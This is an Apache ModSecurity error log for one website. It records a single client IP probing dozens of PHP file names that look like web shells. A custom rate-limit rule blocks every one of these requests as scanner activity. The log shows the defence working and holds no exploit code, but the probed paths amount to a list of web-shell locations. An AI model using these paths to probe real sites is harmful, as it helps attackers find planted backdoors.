[Sat Apr 11 04:26:31.005548 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:22121] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adlc97oqTMlo30hcVw8rIgAAAAM"]
[Sat Apr 11 04:26:31.480174 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:22091] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adlc9zn2G0IJw5EZY9kCpwAAAEw"]
[Sat Apr 11 04:26:31.960488 2026] [:error] [pid 33171:tid 33197] [client 51.107.88.105:11206] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adlc97oqTMlo30hcVw8rKwAAAAs"]
[Sat Apr 11 04:26:32.454078 2026] [:error] [pid 33172:tid 33229] [client 51.107.88.105:11148] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adlc-Dn2G0IJw5EZY9kCrAAAAEs"]
[Sat Apr 11 04:26:32.928468 2026] [:error] [pid 33171:tid 33198] [client 51.107.88.105:22511] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adlc-LoqTMlo30hcVw8rMgAAAAw"]
[Sat Apr 11 04:26:33.400681 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:11228] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adlc-Tn2G0IJw5EZY9kCsQAAAFA"]
[Sat Apr 11 04:26:33.896750 2026] [:error] [pid 33172:tid 33218] [client 51.107.88.105:11185] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adlc-Tn2G0IJw5EZY9kCtwAAAEA"]
[Sat Apr 11 04:26:34.370391 2026] [:error] [pid 33172:tid 33226] [client 51.107.88.105:11252] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "adlc-jn2G0IJw5EZY9kCvgAAAEg"]
[Sat Apr 11 04:26:34.886745 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:11147] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "adlc-mJmwJFFPEgRHfHaNwAAANU"]
[Sat Apr 11 04:26:35.352727 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:11173] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "adlc-2JmwJFFPEgRHfHaOgAAAMY"]
[Sat Apr 11 04:26:35.850207 2026] [:error] [pid 33173:tid 33249] [client 51.107.88.105:11248] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "adlc-68109xRDP2izWiRDwAAAIQ"]
[Sat Apr 11 04:26:36.317135 2026] [:error] [pid 33173:tid 33265] [client 51.107.88.105:33609] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "adlc_K8109xRDP2izWiREgAAAJQ"]
[Sat Apr 11 04:26:36.846759 2026] [:error] [pid 33172:tid 33233] [client 51.107.88.105:11141] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlc_Dn2G0IJw5EZY9kCxQAAAE8"]
[Sat Apr 11 04:26:37.313753 2026] [:error] [pid 33288:tid 33312] [client 51.107.88.105:11164] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlc_WJmwJFFPEgRHfHaQAAAANY"]
[Sat Apr 11 04:26:37.787695 2026] [:error] [pid 33288:tid 33313] [client 51.107.88.105:11015] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlc_WJmwJFFPEgRHfHaQQAAANc"]
[Sat Apr 11 04:26:38.274189 2026] [:error] [pid 33172:tid 33221] [client 51.107.88.105:11140] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlc_jn2G0IJw5EZY9kCzQAAAEM"]
[Sat Apr 11 04:26:38.741915 2026] [:error] [pid 33172:tid 33225] [client 51.107.88.105:11111] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adlc_jn2G0IJw5EZY9kCzwAAAEc"]
[Sat Apr 11 04:26:39.300280 2026] [:error] [pid 33288:tid 33312] [client 51.107.88.105:11157] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adlc_2JmwJFFPEgRHfHaTgAAANY"]
[Sat Apr 11 04:26:39.767169 2026] [:error] [pid 33173:tid 33268] [client 51.107.88.105:11188] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adlc_68109xRDP2izWiRGAAAAJc"]
[Sat Apr 11 04:26:40.259697 2026] [:error] [pid 33173:tid 33250] [client 51.107.88.105:11216] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "adldAK8109xRDP2izWiRHQAAAIU"]
[Sat Apr 11 04:26:40.746701 2026] [:error] [pid 33173:tid 33249] [client 51.107.88.105:11183] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adldAK8109xRDP2izWiRIQAAAIQ"]
[Sat Apr 11 04:26:41.235518 2026] [:error] [pid 33173:tid 33265] [client 51.107.88.105:11222] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adldAa8109xRDP2izWiRIwAAAJQ"]
[Sat Apr 11 04:26:41.703225 2026] [:error] [pid 33288:tid 33299] [client 51.107.88.105:11113] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adldAWJmwJFFPEgRHfHaYwAAAMk"]
[Sat Apr 11 04:26:42.179001 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:11236] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "adldAmJmwJFFPEgRHfHaaAAAANE"]
[Sat Apr 11 04:26:42.649890 2026] [:error] [pid 33173:tid 33262] [client 51.107.88.105:11179] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adldAq8109xRDP2izWiRKAAAAJE"]
[Sat Apr 11 04:26:43.128496 2026] [:error] [pid 33172:tid 33238] [client 51.107.88.105:11176] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adldAzn2G0IJw5EZY9kC0gAAAFQ"]
[Sat Apr 11 04:26:43.613242 2026] [:error] [pid 33173:tid 33257] [client 51.107.88.105:22497] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adldA68109xRDP2izWiRLQAAAIw"]
[Sat Apr 11 04:26:44.098784 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:22106] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "adldBK8109xRDP2izWiRMQAAAIs"]
[Sat Apr 11 04:26:44.608063 2026] [:error] [pid 33173:tid 33248] [client 51.107.88.105:11124] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adldBK8109xRDP2izWiRNAAAAIM"]
[Sat Apr 11 04:26:45.090740 2026] [:error] [pid 33288:tid 33305] [client 51.107.88.105:11078] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adldBWJmwJFFPEgRHfHadwAAAM8"]
[Sat Apr 11 04:26:45.557617 2026] [:error] [pid 33173:tid 33251] [client 51.107.88.105:11149] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adldBa8109xRDP2izWiRNwAAAIY"]
[Sat Apr 11 04:26:46.050283 2026] [:error] [pid 33173:tid 33263] [client 51.107.88.105:11017] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "adldBq8109xRDP2izWiROgAAAJI"]
[Sat Apr 11 04:26:46.515902 2026] [:error] [pid 33173:tid 33254] [client 51.107.88.105:11209] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adldBq8109xRDP2izWiRPgAAAIk"]
[Sat Apr 11 04:26:47.004654 2026] [:error] [pid 33288:tid 33309] [client 51.107.88.105:11150] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adldB2JmwJFFPEgRHfHafAAAANM"]
[Sat Apr 11 04:26:47.481376 2026] [:error] [pid 33173:tid 33252] [client 51.107.88.105:11143] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adldB68109xRDP2izWiRQwAAAIc"]
[Sat Apr 11 04:26:47.947488 2026] [:error] [pid 33172:tid 33234] [client 51.107.88.105:11184] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "adldBzn2G0IJw5EZY9kC2wAAAFA"]
[Sat Apr 11 04:26:48.415992 2026] [:error] [pid 33173:tid 33259] [client 51.107.88.105:11161] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adldCK8109xRDP2izWiRSQAAAI4"]
[Sat Apr 11 04:26:48.890749 2026] [:error] [pid 33173:tid 33258] [client 51.107.88.105:11168] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adldCK8109xRDP2izWiRSwAAAI0"]
[Sat Apr 11 04:26:49.372866 2026] [:error] [pid 33173:tid 33248] [client 51.107.88.105:11260] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adldCa8109xRDP2izWiRTQAAAIM"]
[Sat Apr 11 04:26:49.839885 2026] [:error] [pid 33173:tid 33259] [client 51.107.88.105:11167] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "adldCa8109xRDP2izWiRUAAAAI4"]
[Sat Apr 11 04:26:50.312311 2026] [:error] [pid 33288:tid 33314] [client 51.107.88.105:11192] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adldCmJmwJFFPEgRHfHahwAAANg"]
[Sat Apr 11 04:26:50.872754 2026] [:error] [pid 33171:tid 33189] [client 51.107.88.105:22143] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adldCroqTMlo30hcVw8rPQAAAAM"]
[Sat Apr 11 04:26:51.338943 2026] [:error] [pid 33172:tid 33241] [client 51.107.88.105:11172] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adldCzn2G0IJw5EZY9kC4wAAAFc"]
[Sat Apr 11 04:26:51.845054 2026] [:error] [pid 33288:tid 33310] [client 51.107.88.105:33627] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "adldC2JmwJFFPEgRHfHajgAAANQ"]
[Sat Apr 11 04:26:52.330458 2026] [:error] [pid 33171:tid 33196] [client 51.107.88.105:11126] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adldDLoqTMlo30hcVw8rPwAAAAo"]
[Sat Apr 11 04:26:52.828173 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:11205] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adldDK8109xRDP2izWiRWQAAAIs"]
[Sat Apr 11 04:26:53.319780 2026] [:error] [pid 33288:tid 33304] [client 51.107.88.105:11204] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adldDWJmwJFFPEgRHfHakwAAAM4"]
[Sat Apr 11 04:26:53.798410 2026] [:error] [pid 33288:tid 33300] [client 51.107.88.105:11254] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "adldDWJmwJFFPEgRHfHamAAAAMo"]
[Sat Apr 11 04:26:54.278952 2026] [:error] [pid 33288:tid 33311] [client 51.107.88.105:11187] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "adldDmJmwJFFPEgRHfHanQAAANU"]
[Sat Apr 11 04:26:54.771021 2026] [:error] [pid 33288:tid 33307] [client 51.107.88.105:22094] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "adldDmJmwJFFPEgRHfHaoAAAANE"]
[Sat Apr 11 04:26:55.246079 2026] [:error] [pid 33172:tid 33230] [client 51.107.88.105:22087] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "adldDzn2G0IJw5EZY9kC9gAAAEw"]
[Sat Apr 11 04:26:55.726105 2026] [:error] [pid 33288:tid 33308] [client 51.107.88.105:11115] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xsas.php"] [unique_id "adldD2JmwJFFPEgRHfHaowAAANI"]
[Sat Apr 11 04:26:56.194808 2026] [:error] [pid 33288:tid 33303] [client 51.107.88.105:22113] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/jp.php"] [unique_id "adldEGJmwJFFPEgRHfHaqgAAAM0"]
[Sat Apr 11 04:26:56.685192 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:11240] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/jp.php"] [unique_id "adldEGJmwJFFPEgRHfHarQAAAMg"]
[Sat Apr 11 04:26:57.180492 2026] [:error] [pid 33288:tid 33305] [client 51.107.88.105:11257] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/jp.php"] [unique_id "adldEWJmwJFFPEgRHfHatQAAAM8"]
[Sat Apr 11 04:26:57.673962 2026] [:error] [pid 33288:tid 33298] [client 51.107.88.105:11162] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/jp.php"] [unique_id "adldEWJmwJFFPEgRHfHauAAAAMg"]
